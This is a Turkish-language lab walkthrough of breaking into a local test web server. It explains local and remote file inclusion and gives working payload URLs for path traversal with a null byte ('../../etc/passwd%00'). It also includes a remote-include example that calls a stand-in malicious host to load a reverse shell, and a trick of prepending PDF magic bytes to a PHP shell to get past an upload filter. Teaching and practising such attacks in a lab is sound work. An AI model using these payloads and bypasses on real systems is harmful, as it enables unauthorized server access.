Bu açığın kullanıldığı Labımızı kurmamızla beraber, nmaple ufak bir tarama yapıp :80 portunun getirdiği web sitesine giriş yapıyoruz.

Web sayfasının, kaynak kodlarında herhangi bir ipucu ile karşılaşmadık. Bu yüzden sayfalar arası geçiş yapıp gözümüze ilişen ayrıntıları not almakla devam ediyoruz.

Önümüze çıkan submit ekranının notunu alıp gezintiye devam edelim.

Ve elimizde bir login ekranımız mevcut belki ileride üzerinde bruteforce yahut farklı metodlar uygulayarak aşabiliriz diyerek, arama motorlarımıza geçiş yapıyoruz.

#nikto -h http://192.168.1.24

Nikto sonucumuzun getirdiği açıklamalar arasında daha önce görmediğimiz, Include açığının belirtisini görüyoruz.

Peki nedir bu include açığı?

Include açığı, sunucunun sağladığı web sitesi üzerinden gerçekleşen, sunucunun “user” yetkilerine sahip bir kullanıcının erişebileceği dosyaların, web sitesi yoluyla değiştirilebilir/görüntülenebilir haline gelmesine denir. Örnek verirsek, bu açık sayfalarımız arasındaki geçişte #index.php?page= adres kodumuzun getirdiği bir zafiyettir. “page=”den sonra gireceğimiz parametreler, sunucumuza bağlıymışçasına, terminaldeki bir usermışçasına yapacağımız işlemleri uygulamamıza olanak sağlar.

Include açığımız, hem sunucu içerisindeki dosyalara erişim sağlamamıza olanak tanırken aynı zamanda sunucu dışarısındaki dosyalarımızıda çalıştırmamızı mümkün hale getirebilir. Kesin olmasa da, olanak sağlayabilir.

Sunucuiçi *index.php?page=/etc / passwd : Bu açık sayesinde gerekli parametremizi uyguladığımız anda sunucu içerisindeki etc klasörünün altındaki passwd dosyamıza erişim sağlayabiliyoruz öyle değil mi?

Sunucudışı *index.php?page=http://google.com : Peki, burada ne yaptık? “Page=” operatörünü, google.com’a yönlendirip sunucunun google’a ulaşmasını istedik. Bu sunucu dışarısında gerçekleşen bir işlem oluyor. Yani, sunucu içerisinde gezmemiz bir yana, bu açık sayesinde sunucu dışarısındaki zararlı yazılımlarada bağlantı sağlayabiliyoruz. Bu da bir web sitesinin, zararlı bir scriptini, uygulamasını hatta text dosyasına bile uzaktan bağlantı kurabileceğimiz anlamına geliyor.

Örnek: index.php?page= http ://viruslusitemiz/virus_reverse.php

—-

Include açığımızın iki türünüde öğrendiğimize göre, sunucumuza geri dönüp öğrendiğimiz metodları uygulamaya koyuluyoruz..

Sunucumuzun içerisindeki /etc / passwd dosyasına erişim sağlamak isterken, karşımıza çıkan hatayı inceleyelim.

* / etc /passwd.php # Adres çubuğuna sadece “http://192.16 8.1.24/index.php?page=/ etc /passwd” girmiş olmamıza rağmen passwd dosyamızı .php olarak görüntülemeye çalışmış sunucumuz. Yani otomatik bir şekilde yazmış olduğumuz “passwd” dosyamıza .php uzantısı eklemiş. Bu uzantımızı silmek yani serverimizin bize bir uzantı eklemesini önlemek için “%00” parametresini kullanmamız lazım. Böylece “passwd” dosyamıza ek bir uzantı eklenmesinden kaçırmış oluruz.

* No such a file or directory var/www/index.php # Etc klasörümüz, her sunucuda olduğu gibi ana dizinde yer alır. Fakat biz şuanda web sayfamız üzerinden erişim sağladığımız için var/www/ klasörünün içerisindeyiz. Bu yüzden böyle bir hatayla karşılaştık. Peki, bunu nasıl aşarız? Tabii ki server komutlarımızla. Bir sunucu içerisinde gezerken, bir arka klasöre ulaşmak yani geri gitmek için hangi komutu uyguluyoruz? “cd ..” Ee, bizim sunucuya bağlantımız var zaten. Yani bu demek oluyor ki, bunu yapabiliriz.

Öğrendiğimiz bilgilere göre,

# http://192.168.1.24/index.php?page=../../ etc /passwd%00 dediğimiz anda tüm problemlerimizden kurtuluyor olmamız lazım. Hadi, deneyelim.

Passwd dosyamızı görüntülememizle beraber, sunucu içerisine bağlantı sağlayabileceğimizden en ufak bir şüphemiz kalmıyor. Artık sayfalarımız arasında geçiş yaparken görüntülediğimiz file upload ekranımıza dönebilir, shellimizi atabiliriz..

Fakat, .php uzantılı shellimizi upload etmeye çalışmamızla beraber bir uyarı ekranı karşılıyor bizi.

Sadece PDF dosyalarının kabul edildiğine dair bir yazıyla karşılaştıktan sonra hemen zaman kaybetmeden .php uzantılı dosyamızı pdf’ye çeviriyoruz ve upload etmeyi deniyoruz.

Fakat, gene aynı sorun..

Farklı metodlarla dosyamızı upload etmeye çalışırken güvenlik duvarımızın dosyamızı inceleyebilecek seviyede olabileceği aklımıza geliyor. Yani, atmaya çalıştığımız shellimizin kaynak koduna göz atıp bunun bir pdf dosyası olmadığını anlayabiliyor olmalı. Çünkü, ne kadar denersek deneyelim, uzantıyı değiştirmeye çalışırsak çalışalım bir yol katedemiyoruz.

Peki, kaynak kodumuza göz atan bu güvenlik duvarımız tüm dosyamızı tarıyor olamaz. Ufak bir araştırma sonucu, bu tarama işleminin nasıl gerçekleştiğine dair bulgulara ulaşıyoruz. Sadece ilk satıra göz atıp, uygun olana geçiş sağlıyormuş bu abimiz. Peki, ilk satırda aradığı nedir? Her dosya türünün bir damgası mevcut. .jpg , .png , .pdf . Bu damgalar dosyalarımızın ilk satırında yer alır. Peki, bu damgalara nasıl ulaşırız.

Herhangi bir görüntüleyici yardımıyla bunu görüntüleyebiliriz. cat, strings..

Bir örnekle pdf dosyamızı görüntülemeye çalışalım.

%PDF-1.5 : Pdf dosyamızın damgasıdır. Yani, bu damgamızı kendi shellimize uygularsak güvenlik duvarımızı aşabiliriz.

Ve öylede oluyor.. Shellimizi upload etmeye çalışmamızla beraber sitemiz bizi ana sayfaya yönlendiriyor. Peki, bu shell nereye gitti derken dosya klasörlerini dirb yardımıyla tekrardan taratıyoruz.

Sitemizde bulunan bir upload klasörünün varlığını öğreniyoruz ve zaman kaybetmeden oraya gidiyoruz..

Büyük bir hevesle arka planda, msfconsole yardımıyla handlerımızı açıp tüm gücümüzle dosyamıza tıklıyoruz ! Yarınımız yokmuş gibi tıklıyoruz ama.

Dosyamızın açılmasıyla beraber bir heves handlerımıza baktığımızda bağlantının sağlanmadığını görüyoruz. Neden oluyor, yanlış mı girdik parametreleri derken en sonunda dosyamızdan ötürü bir sorunla karşılaşmayıp shellimizi birde include açığımızdan yararlanıp açmayı deniyoruz..

Fakat ne heyecandır ki, bildiklerimizi unutmuşuz. Pdf uzantılı dosyamıza ek olarak .php takısı gelmiş. Hemen “%00” ile durumu kontrol altına alıp tekrardan deniyoruz.

Artık sunucuya erişmiş durumdayız. 🙂